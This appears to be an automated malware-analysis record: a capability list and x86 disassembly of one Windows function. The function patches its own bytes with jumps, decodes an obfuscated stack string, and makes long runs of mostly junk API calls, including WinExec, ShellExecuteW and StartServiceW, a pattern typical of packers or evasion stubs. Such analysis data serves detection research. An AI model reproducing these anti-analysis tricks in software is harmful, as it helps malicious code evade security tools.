Function at 0xaa3000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file size
Get keyboard layout
Query service status
Read .ini file
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 0xc], 0xaa3bdc
mov eax, dword [ebp - 0xc]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa3036
mov eax, dword [ebp - 0xc]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0xc]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0xc]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa3164
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jae 0xaa30b8
call fcn.00480d22
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jb 0xaa307a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
jmp 0xaa3094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa3094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 8]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
jmp 0xaa304a
mov byte [ebp - 0x44], 6
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 7
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 5
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 8
mov byte [ebp - 0x3d], 0x77
mov byte [ebp - 0x3c], 4
mov byte [ebp - 0x3b], 0x80
mov byte [ebp - 0x3a], 0
mov byte [ebp - 0x39], 0x7d
mov byte [ebp - 0x38], 9
mov byte [ebp - 0x37], 0x76
mov byte [ebp - 0x36], 2
mov byte [ebp - 0x35], 0x7d
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x33], 0x86
mov byte [ebp - 0x32], 3
mov byte [ebp - 0x31], 0x33
and dword [ebp - 0x10], 0
and dword [ebp - 0x24], 0
jmp 0xaa311a
mov eax, dword [ebp - 0x10]
inc eax
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x14
jae 0xaa3159
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x43]
sub eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa3148
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa3135
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x44]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa3112
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa982da
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00408209
mov ecx, eax
call fcn.00403259
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x5c]
call fcn.004031fd
and dword [ebp - 0x1c], 0
jmp 0xaa319c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa31ac
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa3195
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0xcbe
push 0xbe6
push 0x119
push 0x219c
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0x19b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x1405
push 0
push 0x1492
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0x2679
push 0x1167
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0x264b
push 0x1cae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0x26c4
push 0x1c28
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0x1376
push 0x2157
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0x10db
push 0x7e1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
push 0x21c8
push 0x1e78
push 0x22a2
push 0x1f70
push 0x217
push 0x16a9
push 0xc0f
push 0x81e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0x1f0a
call dword [sym.imp.USER32.dll_GetQueueStatus]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0x8a9
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x224a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0xb9d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0
push 0
push 0x11c9
push 0x9c4
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0x149c
push 0x885
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0x99a
push 0
push 0x65e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0xf10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0xd12
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0x9ea
push 0x1285
push 0x21c8
push 0x1717
push 0xd82
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0
push 0
push 0x8c9
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
push 0x2704
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0x13e3
push 0
push 0x18e2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
push 0x6db
push 0
push 0x434
push 0xbad
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
push 0xc08
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0x1c9
push 0x15eb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0xd62
push 0x928
push 0x239b
push 0x1461
push 0x542
push 0xf3c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0
push 0x230d
push 0
push 0
push 0xac4
push 0x1299
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0x1787
push 0x16a6
push 0
push 0x50f
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0x13d0
push 0
push 0
push 0x2197
push 0x5e3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
push 0x12f1
push 0xeb3
push 0xd5c
push 0x99a
push 0x112
push 0x10ad
push 0x61f
push 0x17ba
push 0x1ab8
push 0x2164
push 0x189f
push 0xb59
push 0x1d3c
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0x14eb
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0xc97
push 0x1bbf
push 0xb4
push 0x139b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x700
push 0xb9e
push 0x2548
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0x23cb
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
push 0x20de
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call dword [sym.imp.USER32.dll_GetCapture]
push 0x25f1
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0x16bb
push 0x1244
push 0x518
push 0x712
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0xafb
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
push 0x440
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0x321
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0x174
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x22bc
push 0x2fd
push 0x21aa
push 0x98e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0x1e76
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0x14b3
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0
push 0
push 0x10f5
push 0x1342
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push 0x1124
push 0x644
push 0x16f1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x56b
push 0x53a
push 0x2063
push 0x14b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
push 0
push 0x939
push 0xbb8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
push 0xe2c
push 0xcb7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0x29e
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
push 0x19a9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0x1532
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0xa26
push 0x489
push 0x1b96
push 0x1773
call dword [sym.imp.GDI32.dll_CreateBitmap]
push 0x11c
push 0
push 0
push 0x1db7
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0x64b
push 0xd07
push 0x1d17
push 0x2283
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0
push 0x15e6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0x264d
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0x6a8
push 0
push 0
push 0xbb8
push 0x26d8
push 0x1e78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0xe5b
push 0
push 0
push 0x14ef
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x13aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0x1a03
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0
push 0x2134
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x608
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
push 0x2263
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0x1325
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
push 0x1acd
push 0x19e3
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0x1c4c
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0
push 0
push 0x21bb
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 1
push 0
push 0x2603
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0xcc2
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0x109d
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x267e
push 0x1de7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0xf5
push 0x2283
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0x517
call dword [sym.imp.USER32.dll_MessageBeep]
push 0xeee
push 0x38c
call dword [sym.imp.USER32.dll_SetCaretPos]
jmp 0xaa3be6
mov esp, ebp
pop ebp
ret